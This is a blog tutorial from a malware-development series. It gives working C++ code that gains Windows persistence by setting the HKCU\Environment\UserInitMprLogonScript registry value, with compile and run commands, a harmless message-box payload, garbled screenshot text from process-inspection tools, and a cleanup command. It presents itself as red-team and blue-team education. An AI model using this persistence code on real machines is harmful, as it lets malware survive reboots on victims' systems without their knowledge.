Malware development: persistence - part 20. UserInitMprLogonScript (Logon Script). Simple C++ example.

cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html

December 9, 2022

2 minute read

Hello, cybersecurity enthusiasts and white hackers!



This post is based on my own research into one of the more interesting malware persistence tricks: via UserInitMprLogonScript value.

Windows enables the execution of logon scripts whenever a user or group of users logs into a system. Adding a script's path to the HKCU\Environment\UserInitMprLogonScript Registry key accomplishes this. So, to establish persistence, hackers may utilize Windows logon scripts automatically executed upon logon initialization.

practical example

Let's go to look at a practical example. First of all, as usually, create "evil" application. For simplicity, as usually, it's meow-meow messagebox application (hack.cpp):

```
/*
hack.cpp
evil app for windows persistence
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/12/09/malware-pers-20.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int
nCmdShow) {
    MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
    return 0;
}
```

And, then just create persistence script (pers.cpp):

```
/*
pers.cpp
windows persistence via
setting UserInitMprLogonScript value
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/12/09/malware-pers-20.html
*/
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
  HKEY hkey = NULL;
  // env
  const char* env = "Environment";
 // evil app
  const char* exe = "Z:\\2022-12-09-malware-pers-20\\hack.exe";
 // environment
 LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)env, 0, KEY_WRITE, &hkey);
  if (res == ERROR_SUCCESS) {
    // update registry key value
   // reg add "HKEY_CURRENT_USER\Environment" /v "UserInitMprLogonScript" /t REG_SZ
/d "...\hack.exe" /f
    RegSetValueEx(hkey, (LPCSTR)"UserInitMprLogonScript", 0, REG_SZ, (unsigned
char*)exe, strlen(exe));
   RegCloseKey(hkey);
 }
  return 0;
```

```
}
```

As you can see, the logic is simple. Just set UserInitMprLogonScript key value under HKCU\Environment to the full path of our "malware" - Z:\\2022-12-09-malware-pers-20\hack.exe.

demo

Let's go to see everything in action. First of all, check Registry:

reg query "HKCU\Environment" /s



Then, compile our "malware" at the attacker's machine (kali):

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-allconstants -static-libstdc++ -static-libgcc -fpermissive



And for checking correctness, try to run hack.exe at the victim's machine (Windows 10 x64 in my case):

.\hack.exe



As you can see, our "malware" works perfectly.

At the next step, let's go to compile our persistence script at the attacker's machine:

x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe -I/usr/share/mingw-w64/include/ -s ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-allconstants -static-libstdc++ -static-libgcc -fpermissive



And run it at the attacker's machine:

.\pers.exe

Then, check our Registry key values again:

```
reg query "HKCU\Environment" /s
```



So, as you can see, the key (UserInitMprLogonScript) value is set.

That's all. Try to logout and login:

Í	5					win10	-x64 (peekaboo) [Running] – Oracle				
i	File	Machine	View	Input	Devices	Help						
				🔀 Win	dows Powe	Shell						
	4			Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.								
	Recycl	e Bin x64	dbg	PS C:∖U	sers\User	> reg query	и "НКС	U\Environment" /s				
e		Create						ERPROFILE%\AppData\Local\Mi				
N n		^{Sunday}		Mail				ERPROFILE%\AppData\Local\T RPROFILE%\AppData\Local\Te C:\Users\User\OneDrive 39-malware-pers-20\ > > .\hack.exe				
		Paint 3D		Office	Ge On ar or O	et Organized rganize notes nd ideas all in ne place neNote		<pre>> .\pers.exe > reg query "HKCU\Environme ERPROFILE%\AppData\Local\Mi ERPROFILE%\AppData\Local\Te RPROFILE%\AppData\Local\Tem C:\Users\User\OneDrive 3_SZ Z:\2022-12-09-malwa</pre>				
	Change account settings							>				
	Lock											
	Sign o	out			Pł	notos						
	8		11	- 49 ml								



And after a few milliseconds, our "malware", meow-meow popped up:



Then, if we open Process Hacker and check hack.exe properties:

Machine View Input Devices H	elp						
3in x64dbg PE-bear malware							
ft Process Hacker [WINDOWS-V9HN	K33\User]		-		- 🗆	×	
Hacker View Tools Users Help	andles or	DLLs		>>	Search Processes (Ctrl+K)	Q	
Processes Services Network Disk							
Name	PID	CPU	I/O total	Private b	User name	De ^	
HxTsr.exe	4368			5.97 MB	WINDOWS-V9H\User	Mi	
RuntimeBroker.exe	4892			1.39 MB	WINDOWS V9H \User	Ru	
hack.exe	5020			1.41 MB	WINDOWS-V9H\User		
RuntimeBroker.exe	5088			2.69 MB	WINDOWS-V9H\User	Ru	
RuntimeBroker.exe	5148			7.56 MB	WINDOWS-V9H\User	Ru	A CONTRACTOR
(Z) ismartscreen.exe	5188			15.86 MB	WINDOWS-V9H\User	Wi	
RuntimeBroker.exe	5204			1.88 MB	WINDOWS-V9H\User	Ru	
svchost.exe	5376	0.02		11.38 MB	WINDOWS-V9H\User	Hc	Contraction of
fontdrvhost.exe	5448			1.59 MB		Us ⊻	
OneDrive.exe	<					>	
CPU Usage: 5.82% Physical memory:	1.03 GB (3	3.08%)	Processes: 6	7			
	ALL	+	En-	-	and a second	Meow	v-meow!

File <u>Mac</u>	hine View I <u>nput</u>	win10-x64 (peekaboo) [Running] – Oracle VM Virtu Devices Help	ualBox	••
Recycle Bin	x64dbg PE-bea	malware		
ie 🤁	hack.exe (5020) Pr	perties —		
N Microsoft Edge	General Statistics P	rformance Threads Token Modules Memory Environment Handles GPU	Comment	
M Firefox	File N/A UNVERIF Version: N/A Image file name: \\VBoxSvr\shared	ED) 2022-12-09-malware-pers-20\hack.exe		
shared	Process Command line:	Z:\2022-12-09-malware-pers-20\hack.exe		
(VBoxSvr) (Z)	Started:	C: (Windows (system 32) 2 minutes and 12 seconds ago (9:07:24 PM 12/11/2022)		
	PEB address:	0x559897c000 Image	type: 64-bit	
Process	Parent:	Non-existent process (6036)		
Hacker 2	Mitigation policies:	DEP (permanent); ASLR (high entropy)	Details	
	Protection: None	Permissions	Terminate	
x32dbg			=^^= X	
			Meow-meow!	
			ОК	ALLY & N
	Type here to searc	ų 🛱 🐂 🎽 🗾 🗉	🗐 📌 ^ 🗉 🖓 🕠 ,	9:09 PM
				Right Ctrl

we see that the parent process is "non-existent" process.

If you have studied the windows internals at least a little, you know that exists processes which have "non-existent" process as parent. For example, Windows Explorer - explorer.exe. Parent process is userinit.exe or winlogon.exe, but can be anything .exe using explorer.exe. Parent will show as <Non-existent Process> since userinit.exe terminates itself. Another example is Windows Logon - winlogon.exe. Parent is "does not exist" since smss.exe exits.

If we check hack.exe properties via <u>Sysinternals Process Explorer</u>, we can see "Autostart Location" value:

win10-x64 (peekaboo) [Running] - Oracle VM VirtualBox File Machine View Input Devices Help Oracle Provide Transport of the provided and the pr	008
File Machine View Input Devices Help	
My Proy in back ever 5020 Properties — I X (IIIIIIstrator)	\times
File O	
GPU Graph Threads TCP/IP Security Environment Strings	
Process	^
Image File Image File	
Tics Brver Runtime Process Microsoft Corporation	
Boker Microsoft Corporation	
Se Version n/a ft Windows Search I Microsoft Corporation	
sv Build Times Sup Dec 11 20:54:10 2022	
Guard Runtime Monit Microsoft Corporation	
Window Host Microsoft Corporation	
Se Z:\2022-12-09-malware-pers-20\hack.exe Explore and Cortana applicati Microsoft Corporation	
Command line: Decess for Windows S Microsoft Corporation	
Z:\2022-12-09-malware-pers-20\hack.exe	
Current directory: Original Control of the second	
Carlet and Collectory	
C: (WINDOWS Disterios2)	
Autostart Location:	
HKCU\Environment\UserInitMprLogonScript Explore Broker Microsoft Corporation	
s Defender Smart Scr Microsoft Corporation	
Parent: <non-existent process="">(6036) Verify poess for Windows S Microsoft Corporation</non-existent>	
Te for User: WINDOWS-V9HNK33\User de Font Driver Host Microsoft Corporation	
Started: 9:07:24 PM 12/11/2022 Image: 64-bit Bring to Front th OneDrive Microsoft Corporation	
i dv Kill Process Window Manager Microsoft Corporation	
Comment: SAudio Device Grap Microsoft Corporation	
VirusTotal: Submit ader Microsoft Corporation	
Data Evention (DEP) Statust Evaluation (D	
Constance Consta	
Address Space Load Randomization: High-Entropy, Bottom-Up rastructure Host Microsoft Corporation	
Control Flow Guard: Disabled	~
C Interprise Context: N/A	
# O H: 🖿 📫 🔽 💶 🏠 🊺	
	22 1
🖸 😪 💆 🗗 🖾 😵 🖸 Rigi	ht Ctrl 🛄

Everything is worked perfectly! =^..^=

After the end of experiment, delete the key:

Remove-ItemProperty -Path "HKCU:\Environment" -Name "UserInitMprLogonScript"



This persistence trick is used by <u>APT28</u> group and software like <u>Attor</u> and <u>Zebrocy</u> at the wild.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

This is a practical case for educational purposes only.

```
Sysinternals Process Explorer
Malware persistence: part 1
APT28
Attor
Zebrocy (Trojan)
source code in github
```

Thanks for your time happy hacking and good bye! *PS. All drawings and screenshots are mine*